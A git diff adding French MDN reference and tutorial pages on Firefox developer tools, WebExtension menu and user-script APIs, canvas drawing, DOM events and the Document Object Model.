string Requis lorsque le contexte est un signet. Nécessite la permission  "bookmark" .
+
context {{optional_inline}}
+
string. pour passer outre, pour autoriser les éléments de menu d'autres extensions dans le menu. Actuellement, seuls "bookmark" et "tab" sont supportés. showDefaults ne peut pas être utilisé avec cette option.
+
showDefaults {{optional_inline}}
+
boolean. S'il faut également inclure des éléments de menu par défaut dans le menu.
+
tabId {{optional_inline}}
+
string Requis lorsque le contexte est "tab". Nécessite la permission "tabs" .
+
+
+
+ +

Exemples

+ +

Ouvrez le menu contextuel de l'onglet de votre interface utilisateur personnalisée, dans ce cas :

+ +
document.addEventListener('contextmenu', event => {
+  const foo = event.target.closest('.foo');
+  if (foo) {
+    // When the context menu is opened on an element with the foo class
+    // set the context to "opening a tab context menu".
+    browser.menus.overrideContext({
+      context: 'tab',
+      tabId: parseInt(foo.dataset.tabId)
+    });
+  }
+}, { capture: true });
+
+ +

Voir ce billet de blog pour plus de détails.

diff --git a/files/fr/conflicting/mozilla/add-ons/webextensions/api/userscripts/registereduserscript/unregister/index.html b/files/fr/conflicting/mozilla/add-ons/webextensions/api/userscripts/registereduserscript/unregister/index.html new file mode 100644 index 0000000000..0a71ce921b --- /dev/null +++ b/files/fr/conflicting/mozilla/add-ons/webextensions/api/userscripts/registereduserscript/unregister/index.html @@ -0,0 +1,49 @@ +--- +title: unregister +slug: >- + Mozilla/Add-ons/WebExtensions/API/userScripts/RegisteredUserScript/RegisteredUserScript.unregister() +tags: + - API + - Extensions + - Reference + - RegisteredUserScript + - Type + - unregister + - userScripts +translation_of: >- + Mozilla/Add-ons/WebExtensions/API/userScripts/RegisteredUserScript/RegisteredUserScript.unregister() +--- +

{{AddonSidebar}}

+ +

La méhode unregister() de l'interface  {{WebExtAPIRef("userScripts.RegisteredUserScript","RegisteredUserScript")}}désenregistre le script utilisateur représenté par cette instance d'interface et précédemment enregistré via {{WebExtAPIRef("userScripts.register","userScripts.register()")}}.

+ +
+

Note: Les scripts utilisateur sont automatiquement désenregistrés lorsque la page d'extension correspondante (à partir de laquelle les scripts utilisateur ont été enregistrés) est déchargée, vous devez donc enregistrer un script utilisateur depuis une page d'extension qui persiste au moins aussi longtemps que vous voulez que les scripts utilisateur restent enregistrés..

+
+ +

Syntaxe

+ +
const registeredUserScript = await browser.userScripts.register(
+  userScriptOptions       // object
+);
+…
+await registeredUserScript.unregister()
+ +

Paramètres

+ +

Aucun.

+ +

Valeur retournée

+ +

Une {{JSxRef("Promise")}} qui sera résolu une fois le script utilisateur désenregistré. La promesse ne rapporte rien.

+ +

Compatibilité du navigateur

+ +

{{Compat("webextensions.api.userScripts.RegisteredUserScript.unregister")}}

+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/tools/debugger/how_to/set_watch_expressions/index.html b/files/fr/conflicting/tools/debugger/how_to/set_watch_expressions/index.html new file mode 100644 index 0000000000..ff534ba3ae --- /dev/null +++ b/files/fr/conflicting/tools/debugger/how_to/set_watch_expressions/index.html @@ -0,0 +1,49 @@ +--- +title: 'Examiner, modifier, et espionner des variables' +slug: 'Outils/Débogueur/Comment/Examiner,_modifier,_et_espionner_des_variables' +translation_of: Tools/Debugger/How_to/Set_Watch_Expressions +translation_of_original: 'Tools/Debugger/How_to/Examine,_modify,_and_watch_variables' +--- +
{{ToolsSidebar}}
+

Cette fonctionnalité n'est pas encore supportée par le nouveau Débogueur. Si vous avez besoin de l'utiliser, il faut changer la préférence "devtools.debugger.new-debugger-frontend" dans about:config (page interne du navigateur)

+ +

La documentation de l'ancienne version du Débogueur est disponible sur la page Débogueur (avant Firefox 52).

+
+ +

Examiner des variables

+ +

Quand le code s'est arrêté sur un point d'arrêt, il est possible d'examiner ses variables grâce au panneau des variables du débogueur :

+ +

+ +

Les variables sont listées et triées selon leur portée : Dans la fonction ci-dessus, les variables intégrées arguments et this ainsi que les variables locales comme user et greeting seront visibles. Dans la portée globale, les variables globales qui ont été définies (greetme) et les variables globales intégrées (localStorage, console…) seront visibles.

+ +

Chaque objet peut être étendu pour voir son contenu en utilisant l'icône en forme de triangle.

+ +

Survoler le nom d'une variable affiche une infobulle qui fournit des informations complémentaires sur la variable. Se référer à Object.defineProperty() pour des détails sur la signification de ces termes.

+ +

Pour voir les propriétés des objets, il est possible d'utiliser le filtre de script avec le préfixe spécial "*" ou en utilisant la boite de filtrage des variables si vous l'avez activée dans les options du débogueur.

+ +

{{EmbedYouTube("dxCvnixpM_Q")}}

+ +

Si une variable existe dans la source, mais a été enlevé par le moteur JavaScript à la suite d'une optimisation. Alors cette variable est présente dans le panneau, mais sa valeur est égale à (optimized away),  et n'est pas modifiable. Dans la capture d’écran ci-dessous, la variable upvar a été optimisée :

+ +

+ +

Modifier des variables

+ +

Quand le code s'est arrêté à un point d'arrêt, il est possible de modifier les variables dans le panneau des variables du débogueur. Il suffit de cliquer sur la valeur actuelle d'une variable pour pouvoir la réécrire :

+ +

{{EmbedYouTube("FKG-jkvSpq8")}}

+ +

Espionner une expression

+ +

Les expressions espionnes sont des expressions qui sont évaluées à chaque fois que l'exécution s'arrête. Il est alors possible d'examiner le résultat de ces expressions. C'est utile dans la mesure où cela permet d'inspecter des éléments invariants dans votre code que vous savez être présents, mais qui ne sont pas nécessairement prêts pour une inspection.

+ +

Pour ajouter une expression espionne, il faut cliquer sur la boite "ajouter une expression espionne" puis entrer l'expression JavaScript que vous souhaitez surveiller en parcourant votre code.

+ +

Il ne reste plus qu'à faire tourner votre code. L'expression espionne ne fait rien tant que le code n'est pas arrêté à un point d'arrêt. Quand le code est arrêté, les expressions espionnes sont activées et leur valeur apparaitra alors :

+ +

{{EmbedYouTube("CwGU-5wKRw0")}}

+ +

À chaque changement de la valeur de l'expression espionne, sa boite sera brièvement affichée en surbrillance jaune. Il est possible de supprimer une expression espionne en cliquant sur l'icône en forme de croix à côté. Bien sûr, il est également possible d'avoir plus d'une seule expression espionne à la fois.

diff --git a/files/fr/conflicting/tools/memory/basic_operations/index.html b/files/fr/conflicting/tools/memory/basic_operations/index.html new file mode 100644 index 0000000000..2524339f8d --- /dev/null +++ b/files/fr/conflicting/tools/memory/basic_operations/index.html @@ -0,0 +1,15 @@ +--- +title: Comparer deux captures de la heap +slug: Outils/Memory/Comparing_heap_snapshots +translation_of: Tools/Memory/Basic_operations +translation_of_original: Tools/Memory/Comparing_heap_snapshots +--- +
{{ToolsSidebar}}
+

Cette fonctionnalité est une des nouveautés de Firefox 45.

+
+ +

À partir de Firefox 45, il est possible d'afficher les différences entre deux captures. Le diff montre où la mémoire a été allouée et où elle a été libérée entre les deux captures.

+ +

Pour créer un diff, il faut cliquer sur le bouton "Comparer les captures" à droite de l'icône en forme d'appareil photo puis sélectionner deux captures à comparer (la première capture fait office de base). Cet outil affiche les différences entre les captures. Il est alors possible d'analyser ces différences avec les mêmes vues que celles d'une capture simple.

+ +

{{EmbedYouTube("rbDHVxCzqhU")}}

diff --git a/files/fr/conflicting/tools/memory/basic_operations_9264f1c8b3be17d004821ca45ca04d3a/index.html b/files/fr/conflicting/tools/memory/basic_operations_9264f1c8b3be17d004821ca45ca04d3a/index.html new file mode 100644 index 0000000000..2c851f8ce6 --- /dev/null +++ b/files/fr/conflicting/tools/memory/basic_operations_9264f1c8b3be17d004821ca45ca04d3a/index.html @@ -0,0 +1,9 @@ +--- +title: Ouvrir l'outil Mémoire +slug: Outils/Memory/Open_the_Memory_tool +translation_of: Tools/Memory/Basic_operations +translation_of_original: Tools/Memory/Open_the_Memory_tool +--- +
{{ToolsSidebar}}

Actuellement, l'outil Mémoire n'est pas activé par défaut, pour l'activer, il faut ouvrir les options des outils des développements (F12 puis cliquer sur l'icône en forme d'engrenage en haut à droite) et cocher l'option "Mémoire" dans la catégorie "Outils de développement par défaut" :

+ +

{{EmbedYouTube("SbpiMD4QjjY")}}

diff --git a/files/fr/conflicting/tools/memory/basic_operations_f2c86b478396e7a233344f64c4d4f1da/index.html b/files/fr/conflicting/tools/memory/basic_operations_f2c86b478396e7a233344f64c4d4f1da/index.html new file mode 100644 index 0000000000..ac0d2d630f --- /dev/null +++ b/files/fr/conflicting/tools/memory/basic_operations_f2c86b478396e7a233344f64c4d4f1da/index.html @@ -0,0 +1,9 @@ +--- +title: Capturer un instantané +slug: Outils/Memory/Take_a_heap_snapshot +translation_of: Tools/Memory/Basic_operations +translation_of_original: Tools/Memory/Take_a_heap_snapshot +--- +
{{ToolsSidebar}}

Pour prendre une capture de la heap, il faut cliquer sur le bouton "Capturer un instantané" ou cliquer sur l'icône en forme d'appareil photo en haut à gauche :

+ +

{{EmbedYouTube("XbHyxrjRDis")}}

diff --git a/files/fr/conflicting/tools/page_inspector/ui_tour/index.html b/files/fr/conflicting/tools/page_inspector/ui_tour/index.html new file mode 100644 index 0000000000..26a4192b00 --- /dev/null +++ b/files/fr/conflicting/tools/page_inspector/ui_tour/index.html @@ -0,0 +1,12 @@ +--- +title: Panneau HTML +slug: Outils/Inspecteur/Panneau_HTML +tags: + - HTML + - Tools + - Web Development + - 'Web Development:Tools' +translation_of: Tools/Page_Inspector/UI_Tour +translation_of_original: Tools/Page_Inspector/HTML_panel +--- +
{{ToolsSidebar}}

Le contenu de cette page à été transféré dans la section "Panneau HTML" de la visite guidée de l'Inspecteur.

diff --git a/files/fr/conflicting/tools/performance/waterfall/index.html b/files/fr/conflicting/tools/performance/waterfall/index.html new file mode 100644 index 0000000000..215ce97ad5 --- /dev/null +++ b/files/fr/conflicting/tools/performance/waterfall/index.html @@ -0,0 +1,25 @@ +--- +title: Frise chronologique +slug: Outils/Frise_chronologique +tags: + - Gecko + - Guide + - Tools +translation_of: Tools/Performance/Waterfall +translation_of_original: Tools/Timeline +--- +
{{ToolsSidebar}}

La frise chronologique suit à la trace les opérations réalisées par Gecko, le moteur du navigateur.Il faut aller dans les the devtools options des outils de developemment pour activer la frise chronologique.

+ +

Pour le moment, la frise chronologique couvre les éléments suivants :

+ + + +

Les opérations reflows, restyle et paint ont lieu dans le "thread" principal et peut retarder ou être retardé à cause des opérations lentes (reflows, exécution de script, beaucoup de restyle, etc...).

+ +

Timeline Screenshot

diff --git a/files/fr/conflicting/tools/responsive_design_mode/index.html b/files/fr/conflicting/tools/responsive_design_mode/index.html new file mode 100644 index 0000000000..086a531ea3 --- /dev/null +++ b/files/fr/conflicting/tools/responsive_design_mode/index.html @@ -0,0 +1,77 @@ +--- +title: Vue Adaptative (avant Firefox 52) +slug: Outils/Responsive_Design_Mode_(before_Firefox_52) +translation_of: Tools/Responsive_Design_Mode +translation_of_original: Tools/Responsive_Design_Mode_(before_Firefox_52) +--- +
{{ToolsSidebar}}
+

Cette page décrit la Vue Adaptative telle qu'elle apparait avant Firefox 52.  Il est également possible d'avoir cette version de l'outil si le  support multiprocessus (e10s) est désactivé. Pour l'article décrivant la version ultérieure à Firefox 52, voir Vue Adaptative.

+
+ +

Un responsive design est un design qui s'adapte à différentes tailles d'écrans, afin que la présentation soit optimale sur tous les types d'appareils utilisés, tels que les smartphones ou les tablettes. Le mode « vue adaptative » permet de voir facilement le rendu de votre design sur des écrans de tailles différentes.

+ +

La capture d’écran ci-dessous montre une page de la version mobile de Wikipédia, vue dans une zone de contenu de 320×480.

+ +

+ +

La vue adaptative est utile, car elle permet de changer rapidement la taille de cette zone de contenu.

+ +

Bien sûr, vous pourriez simplement redimensionner la fenêtre du navigateur. Mais cela peut être gênant, car tous les onglets sont alors redimensionnés. Et cela peut rendre l'interface du navigateur bien plus dure à utiliser.

+ +

Quand la vue adaptative est activée, vous pouvez continuer à naviguer normalement dans la zone de contenu redimensionnée.

+ +

Activation et désactivation

+ +

Il existe trois façons d’activer la vue adaptative :

+ + + +

Pour désactiver la vue adaptative :

+ + + +

Redimensionnement

+ +

Vous pouvez redimensionner la zone de contenu de deux façons différentes :

+ + + +

Si vous redimensionnez en utilisant le cliquer-glisser, vous pouvez maintenir la touche CTRL (cmd sous Mac) enfoncée pour ralentir la vitesse de redimensionnement afin d'être plus précis.

+ +

 

+ +
+

Contrôles de la vue adaptative

+ +

+ +

En haut de la page sur laquelle la vue adaptative est active se trouvent les six contrôles suivants :

+ +
+
Fermer
+
Fermer la vue adaptative et retourner à la navigation normale.
+
Sélectionner la taille
+
Sélectionner une résolution parmi des combinaisons de largeur x hauteur; ou définir sa propre résolution
+
Orientation
+
Alterner entre la vue portrait et paysage.
+
Simuler les événements tactiles
+
Activer/Désactiver la simulation des événements tactiles : quand cette option est active, les mouvements de la souris sont convertis en événements tactiles.
+
Capture d'écran
+
Prendre une capture d'écran de la zone de contenu. Les captures d'écrans seront sauvées dans le dossier de téléchargements de Firefox.
+
Définir un User Agent personnalisé
+
Nouveau dans Firefox 47. Entrer une chaine de caractère User Agent et sortir de la boite. Alors la boite deviendra bleue pour signifier que la chaine est utilisée. Firefox inclura la chaine donnée dans les requêtes effectuées uniquement depuis cet onglet. C'est utile pour les sites qui affichent différents contenus en se basant sur le UA sniffing. Supprimer la chaine remet le comportement par défaut.
+
+
+ +

 

diff --git a/files/fr/conflicting/web/accessibility/index.html b/files/fr/conflicting/web/accessibility/index.html new file mode 100644 index 0000000000..d87406d368 --- /dev/null +++ b/files/fr/conflicting/web/accessibility/index.html @@ -0,0 +1,66 @@ +--- +title: Développement Web +slug: Accessibilité/Développement_Web +tags: + - ARIA + - Accessibilité + - Développement Web + - XUL + - À relire +translation_of: Web/Accessibility +translation_of_original: Web/Accessibility/Web_Development +--- +

 

+ + + + + + + +
+

Accessibilité Web

+
+
+ ARIA pour les développeurs
+
+ ARIA permet l’accessibilité des contenus HTML dynamiques, comma par exemple les zones Live et les composants.
+
+ Contrôles DHTML personnalisés navigables au clavier
+
+ Jusqu’à présent, les développeurs Web qui désiraient rendre accessible au clavier leurs <div> et leurs <span> stylisées basées sur des composants dynamiques ne disposaient pas de techniques appropriées. La navigabilité au clavier est le requis minimum de l’accessibilité auquel chaque développeur Web devraient prêter attention.
+
+

Accessibilité XUL

+
+
+ Construire des composants personnalisés accessibles en XUL
+
+ Comment utiliser les techniques d’accessibilité DHTML pour améliorer l’accessibilité de vos composants personnalisés XUL.
+
+ Recommandations d’accessibilité pour XUL
+
+ Lorsqu’il est codé selon ces recommandations, XUL est capable de générer des interfaces utilisateurs accessibles. Codeurs, vérificateurs, graphistes et ingénieurs Qualité devraient se familiariser avec ces recommandations.
+
+ 		+

Ressources externes

+
+
+ Dive into Accessibility (Plonger dans l’accessibilité)
+
+ Ce livre répond à deux questions. La première de ces questions est « Pourquoi devrais-je rendre mes sites plus accessibles ? » La second question est « Comment rendre mes sites plus accessibles ?»
+
+ Accessibilité web
+
+ Normes et bonnes pratiques pour des sites plus accessibles
+
+ Création d’une page Web accessible
+
+ Une liste utile des bonnes pratiques d’accessibilité Web, par IBM.
+
+
+
+  
+
+
+

 

diff --git a/files/fr/conflicting/web/api/canvas_api/tutorial/index.html b/files/fr/conflicting/web/api/canvas_api/tutorial/index.html new file mode 100644 index 0000000000..0b0a96257e --- /dev/null +++ b/files/fr/conflicting/web/api/canvas_api/tutorial/index.html @@ -0,0 +1,176 @@ +--- +title: Dessiner avec Canvas +slug: Web/Guide/Graphics/Dessiner_avec_canvas +tags: + - Canvas + - HTML +translation_of: Web/API/Canvas_API/Tutorial +translation_of_original: Web/API/Canvas_API/Drawing_graphics_with_canvas +--- +

 

+

Introduction

+

Depuis Firefox 1.5, Firefox comprend un nouvel élément HTML servant à dessiner programmatiquement. L'élément {{HTMLElement("canvas")}} est basé sur la spécification canvas du WHATWG, elle-même basée sur la balise <canvas> d'Apple implémentée dans Safari. Celui-ci peut être utilisé pour afficher des graphes, des élements d'interface, et d'autres éléments graphiques personnalisés sur le client.

+

{{HTMLElement("canvas")}} crée une surface de dessin de taille fixe, ou canevas, exposant un ou plusieurs contextes de rendu. Nous nous concentrerons sur le contexte de rendu 2D (c'est d'ailleurs le seul contexte de rendu actuellement défini). Dans le futur, d'autres contextes peuvent fournir différents types de rendu. Par exemple, il est probable qu'un contexte 3D basé sur OpenGL ES sera ajouté à la spécification <canvas>.

+

Le contexte de rendu 2D

+

Un exemple simple

+

Pour commencer, voici un exemple simple qui dessine deux rectangles ayant une intersection, l'un d'entre-eux possédant une transparence alpha :

+

Exemple 1.

+
<html>
+ <head>
+  <script type="application/x-javascript">
+function draw() {
+ var canvas = document.getElementById("canvas");
+ var ctx = canvas.getContext("2d");
+
+ ctx.fillStyle = "rgb(200,0,0)";
+ ctx.fillRect (10, 10, 55, 50);
+
+ ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
+ ctx.fillRect (30, 30, 55, 50);
+}
+  </script>
+ </head>
+ <body onload="draw()">
+   <canvas id="canvas" width="300" height="300"></canvas>
+ </body>
+</html>
+
+

La fonction draw récupère l'élément canvas, et ensuite son contexte 2d. L'objet ctx peut ensuite être utilisé pour dessiner réellement vers le canevas. L'exemple remplit simplement les deux rectangles, en positionnant fillStyle à deux couleurs différentes à l'aide des spécifications de couleur CSS et d'un appel à fillRect. Le second appel à fillStyle utilise rgba() pour spécifier une valeur alpha parmi les informations de couleur.

+

Les appels à fillRect, strokeRect et clearRect affichent un rectangle plein, surligné ou vide. Pour afficher des formes plus complexes, on utilise des chemins.

+

Utilisation de chemins

+

La fonction beginPath commence un nouveau chemin, et moveTo, lineTo, arcTo, arc et des méthodes similaires sont utilisées pour ajouter des segments au chemin. Le chemin peut être fermé à l'aide de closePath. Une fois que le chemin est créé, vous pouvez utiliser fill ou stroke pour afficher celui-ci sur le canevas.

+

Exemple 2.

+
<html>
+ <head>
+  <script type="application/x-javascript">
+function draw() {
+  var canvas = document.getElementById("canvas");
+  var ctx = canvas.getContext("2d");
+
+  ctx.fillStyle = "red";
+
+  ctx.beginPath();
+  ctx.moveTo(30, 30);
+  ctx.lineTo(150, 150);
+  ctx.bezierCurveTo(60, 70, 60, 70, 70, 150);
+  ctx.lineTo(30, 30);
+  ctx.fill();
+}
+   </script>
+ </head>
+ <body onload="draw()">
+   <canvas id="canvas" width="300" height="300"></canvas>
+ </body>
+</html>
+
+

L'appel à fill() ou stroke() provoque l'utilisation du chemin. Pour être rempli ou dessiné à nouveau, le chemin devra être recréé.

+

État graphique

+

Les attributs du contexte comme fillStyle, strokeStyle, lineWidth et lineJoin font partie de l'état graphique courant. Le contexte fournit deux méthodes, save() et restore(), qui peuvent être utilisées pour déplacer l'état courant vers et depuis la pile d'états.

+

Un exemple plus compliqué

+

Voici un exemple un petit peu plus compliqué, qui utilise des chemins, des états et introduit également la matrice de transformation courante. Les méthodes du contexte translate(), scale() et rotate() transforment toutes la matrice courante. Tous les points affichés sont au préalable transformés par cette matrice.

+

Exemple 3.

+
 <html>
+  <head>
+   <script type="application/x-javascript">
+ function dessineNoeudPap(ctx, fillStyle) {
+
+   ctx.fillStyle = "rgba(200,200,200,0.3)";
+   ctx.fillRect(-30, -30, 60, 60);
+
+   ctx.fillStyle = fillStyle;
+   ctx.globalAlpha = 1.0;
+   ctx.beginPath();
+   ctx.moveTo(25, 25);
+   ctx.lineTo(-25, -25);
+   ctx.lineTo(25, -25);
+   ctx.lineTo(-25, 25);
+   ctx.closePath();
+   ctx.fill();
+ }
+
+ function point(ctx) {
+   ctx.save();
+   ctx.fillStyle = "black";
+   ctx.fillRect(-2, -2, 4, 4);
+   ctx.restore();
+ }
+
+ function dessine() {
+   var canvas = document.getElementById("canvas");
+   var ctx = canvas.getContext("2d");
+
+   // notez que toutes les autres translations sont relatives à
+   // celle-ci
+   ctx.translate(45, 45);
+
+   ctx.save();
+   //ctx.translate(0, 0); // non nécessaire
+   dessineNoeudPap(ctx, "red");
+   point(ctx);
+   ctx.restore();
+
+   ctx.save();
+   ctx.translate(85, 0);
+   ctx.rotate(45 * Math.PI / 180);
+   dessineNoeudPap(ctx, "green");
+   point(ctx);
+   ctx.restore();
+
+   ctx.save();
+   ctx.translate(0, 85);
+   ctx.rotate(135 * Math.PI / 180);
+   dessineNoeudPap(ctx, "blue");
+   point(ctx);
+   ctx.restore();
+
+   ctx.save();
+   ctx.translate(85, 85);
+   ctx.rotate(90 * Math.PI / 180);
+   dessineNoeudPap(ctx, "yellow");
+   point(ctx);
+   ctx.restore();
+ }
+    </script>
+  </head>
+  <body onload="dessine()">
+    <canvas id="canvas" width="300" height="300"></canvas>
+  </body>
+ </html>
+
+

Ceci définit deux méthodes dessineNoeudPap et point, qui sont appelées 4 fois. Avant chaque appel, translate() et rotate() sont utilisées pour définir la matrice de transformation courante, qui à son tour positionne le point et le nœud papillon. point affiche un petit carré noir centré sur (0, 0). Ce point est déplacé par la matrice de transformation. dessineNoeudPap affiche un chemin simple en forme de nœud papillon en utilisant le style de remplissage fourni en paramètre.

+

Comme les opérations de matrices sont cumulatives, save() et restore() sont utilisées autour de chaque jeu d'appels afin de restaurer l'état initial du canevas. Une chose à surveiller est que la rotation se passe toujours autour de l'origine courante ; donc une séquence translate() rotate() translate() donnera des résultats différents d'une série d'appels translate() translate() rotate().

+

Compatibilité avec le <canvas> d'Apple

+

Pour la plus grande partie, le <canvas> de Mozilla est compatible avec celui d'Apple et d'autres implémentations. Il convient cependant d'être averti de quelques problèmes, décrits ci-dessous.

+

Balise </canvas> requise

+

Dans l'implémentation d'Apple Safari, <canvas> est un élément fortement semblable à l'élément <img> ; il ne doit pas forcément avoir de balise de fermeture. Cependant, pour que <canvas> puisse être utilisé à grande échelle sur le Web, il est important de pouvoir fournir facilement du contenu alternatif. C'est pourquoi l'implémentation de Mozilla a une balise de fin requise.

+

Si aucun contenu alternatif n'est nécessaire, un simple <canvas id="foo" ...></canvas> sera entièrement compatible avec Safari et Mozilla -- Safari ignorera simplement la balise de fermeture.

+

Si un contenu alternatif est désiré, certaines astuces CSS doivent être utilisées pour masquer le contenu alternatif à Safari (qui doit seulement afficher le canevas), et masquer ces mêmes astuces à Internet Explorer (qui doit afficher le contenu alternatif). À faire : les commandes CSS exactes doivent être fournies par hixie.

+

Fonctionnalités supplémentaires

+

Affichage de contenu Web dans un canevas

+
+ Cette fonctionnalité est uniquement disponible pour le code exécuté avec des privilèges Chrome. Son utilisation n'est pas permise dans des pages HTML normales.
+

L'élément canvas de Mozilla a été étendu avec la méthode drawWindow. Celle-ci dessine une capture du contenu d'un élément DOM window dans le canevas. Par exemple,

+
ctx.drawWindow(window, 0, 0, 100, 200, "rgb(0,0,0)");
+
+

affichera le contenu de la fenêtre courante dans le rectangle (0,0,100,200) défini en pixels relatifs au coin en haut à gauche de la fenêtre d'affichage, sur un fond noir, dans le canevas. En spécifiant "rgba(0,0,0,0)" comme couleur, le contenu sera dessiné avec un fond transparent (ce qui sera plus lent).

+

Avec cette méthode, il est possible de remplir un IFRAME caché avec du contenu arbitraire (par exemple, du texte HTML stylé avec CSS, ou du SVG) et de le dessiner dans un canevas. Celui-ci sera redimensionné, tourné, etc. suivant la transformation courante.

+

L'extension tab preview de Ted Mielczarek utilise cette technique dans le chrome pour fournir des miniatures de pages Web, et sa source est disponible pour référence.

+

Voir aussi

+ +

{{ languages( { "en": "en/Drawing_Graphics_with_Canvas", "ja": "ja/Drawing_Graphics_with_Canvas", "ko": "ko/Drawing_Graphics_with_Canvas", "pl": "pl/Rysowanie_grafik_za_pomoc\u0105_Canvas" } ) }}

diff --git a/files/fr/conflicting/web/api/document/createevent/index.html b/files/fr/conflicting/web/api/document/createevent/index.html new file mode 100644 index 0000000000..5cfbb7f05f --- /dev/null +++ b/files/fr/conflicting/web/api/document/createevent/index.html @@ -0,0 +1,41 @@ +--- +title: Event.createEvent() +slug: Web/API/Event/createEvent +tags: + - API + - DOM + - Evènement + - Méthodes +translation_of: Web/API/Document/createEvent +translation_of_original: Web/API/Event/createEvent +--- +

{{APIRef("DOM")}}

+ +

Crée un nouvel évènement, qui doit alors être initialisé en appelant sa méthode initEvent() .

+ +

Syntaxe

+ +
document.createEvent(type)
+ +
+
type
+
Une chaîne de caractère indiquant le type de l'évènement à créer.
+
+ +

Cette méthode renvoie un nouvel objet DOM {{ domxref("Event") }} du type spécifié, qui doit être initialisé avant utilisation.

+ +

Exemple

+ +
var newEvent = document.createEvent("UIEvents");
+ +

Spécification

+ + + +

Compatibilité des navigateurs

+ + + +

{{Compat("api.Event.createEvent")}}

diff --git a/files/fr/conflicting/web/api/document_object_model/index.html b/files/fr/conflicting/web/api/document_object_model/index.html new file mode 100644 index 0000000000..518da7e3d8 --- /dev/null +++ b/files/fr/conflicting/web/api/document_object_model/index.html @@ -0,0 +1,16 @@ +--- +title: À propos du Document Object Model +slug: À_propos_du_Document_Object_Model +tags: + - DOM +translation_of: Web/API/Document_Object_Model +translation_of_original: DOM/About_the_Document_Object_Model +--- +

Présentation du DOM

+

Le Document Object Model, ou modèle objet de document, est une API pour les documents HTML et XML. Le DOM fournit une représentation structurelle du document, permettant de modifier son contenu et sa présentation visuelle. Fondamentalement, il relie les pages Web aux scripts et langages de programmation.

+

Toutes les propriétés, méthodes et évènements utilisables par le développeur Web pour manipuler et créer des pages sont organisés au sein d'objets (c'est-à-dire l'objet document qui représente le document lui-même, l'objet table qui représente un élément de tableau HTML, et ainsi de suite). Ces objets sont accessibles via des langages de scripts dans la plupart des navigateurs récents.

+

Le DOM est le plus souvent utilisé en conjonction avec JavaScript. C'est-à-dire que le code est écrit en JavaScript, mais qu'il utilise le DOM pour accéder à la page Web et ses éléments. Cependant, le DOM a été conçu pour être indépendant de tout langage de programmation particulier, rendant la représentation structurelle du document disponible à l'aide d'une seule API cohérente. Bien que ce site soit concentré sur JavaScript, des implémentations du DOM peuvent être conçues pour n'importe quel langage.

+

Le World Wide Web Consortium établit un standard pour le DOM, appelé W3C DOM. Il doit permettre, maintenant que les navigateurs les plus importants l'implémentent correctement, de réaliser de puissantes applications multinavigateurs.

+

L'importance du support du DOM dans Mozilla

+

« Dynamic HTML » (DHTML) ou HTML dynamique est un terme utilisé par certains pour décrire la combinaison de HTML, de feuilles de style et de script permettant à des documents d'être animés. Le groupe de travail DOM du W3C travaille dur pour s'assurer que des solutions interopérables et ne dépendant pas du langage utilisé soient acceptées par tous (voir aussi la FAQ du W3C). Étant donné que Mozilla revendique le titre de « plateforme d'applications Web », le support du DOM est l'une des fonctionnalités les plus demandées et est nécessaire si Mozilla désire être une alternative viable à d'autres navigateurs.

+

Plus important même est le fait que l'interface utilisateur de Mozilla (ainsi que de Firefox et Thunderbird) est construite à l'aide de XUL, un langage d'interface utilisateur basé sur XML. Par conséquent, Mozilla utilise le DOM pour manipuler sa propre interface utilisateur.

diff --git a/files/fr/conflicting/web/api/document_object_model_03f6e13c52ad7c539d9b4c33c51ac4a3/index.html b/files/fr/conflicting/web/api/document_object_model_03f6e13c52ad7c539d9b4c33c51ac4a3/index.html new file mode 100644 index 0000000000..77c272f5b2 --- /dev/null +++ b/files/fr/conflicting/web/api/document_object_model_03f6e13c52ad7c539d9b4c33c51ac4a3/index.html @@ -0,0 +1,54 @@ +--- +title: Préface +slug: Web/API/Document_Object_Model/Préface +tags: + - Référence_du_DOM_Gecko +translation_of: Web/API/Document_Object_Model +translation_of_original: Web/API/Document_Object_Model/Preface +--- +

{{ ApiRef() }}

+

À propos de cette référence

+

Cette section décrit le guide lui-même : ceux à qui il est destiné, la manière dont sont présentées les informations, et d'utiliser les exemples de la référence dans vos propres développements avec DOM.

+

Notez que ce document est en cours de développement, et n'est pas actuellement une liste exhaustive de toutes les méthodes et propriétés DOM implémentées par Gecko. Chaque section individuelle du document (par exemple la référence de DOM document) est cependant complète pour les objets décrits. Lorsque des informations de référence pour les nombreux membres de cette énorme API deviennent disponibles, elles sont intégrées dans ce document.

+

À qui est destiné ce guide

+

Le lecteur de la Référence du DOM Gecko est un développeur Web ou utilisateur confirmé qui a une idée de la façon dont les pages Web sont construites. Cette référence évite de présumer des connaissances préalables du lecteur en ce qui concerne le DOM, XML, les serveurs et standards du Web, et même en ce qui concerne JavaScript, le langage dans lequel le DOM est rendu accessible. Cependant, il suppose que vous soyez familiers avec HTML, avec son balisage, avec la structure basique des pages Web, avec les navigateurs, et avec les feuilles de style.

+

Le contenu introductif présenté ici, avec ses nombreux exemples et ses explications détaillées, s'avèrera utile tant pour les développeurs débutants que pour les développeurs expérimentés dans le domaine du Web. Il n'est pas réservé aux « débutants » et l'on peut le considérer comme un manuel de référence évolutif de l'API.

+

Présentation de Gecko

+

Mozilla, Firefox, Netscape 6+, et les autres navigateurs basés sur Mozilla bénéficient de la même implémentation du DOM. En effet, ils utilisent tous la même technologie de base. naturally, it applies only to products based on the same version of Gecko, but it's tricky to explain

+

Gecko, le composant logiciel de ces navigateurs qui gère l'analyse du HTML, la mise en page, le modèle objet de document, et même le rendu de toute l'interface de l'application est un moteur rapide et respectant les standards. Il implémente les standards DOM du W3C et un modèle objet de navigateur similaire au DOM, mais non standardisé (par exemple window etc.) dans le contexte des pages Web et de l'interface applicative (ou + + chrome + ) du navigateur.

+

Bien que l'interface applicative et le contenu affichés par le navigateur diffèrent en de nombreux points, le DOM les expose uniformément sous la forme d'une hiérarchie de nœuds.

+

Syntaxe de l'API

+

Chaque description dans la référence de l'API comprend la syntaxe, les paramètres entrants et sortants (lorsque le type de retour est donné), un exemple, éventuellement quelques remarques supplémentaires, et un lien vers la spécification appropriée.

+

Typiquement, les propriétés en lecture seule ont une seule ligne de syntaxe, puisqu'on peut uniquement accéder à propriétés et non les modifier. Par exemple, la syntaxe de la propriété en lecture seule availHeight de l'objet screen est présentée de la manière suivante :

+
screenObj = window.screen.availHeight;
+
+

Cela signifie qu'il est seulement possible d'utiliser la propriété dans le membre de droite d'une opération. Dans le cas des propriétés modifiables, il est possible d'assigner une valeur à la propriété, et la syntaxe est présentée de la manière suivante :

+
chaine = window.status;
+window.status =chaine;
+
+

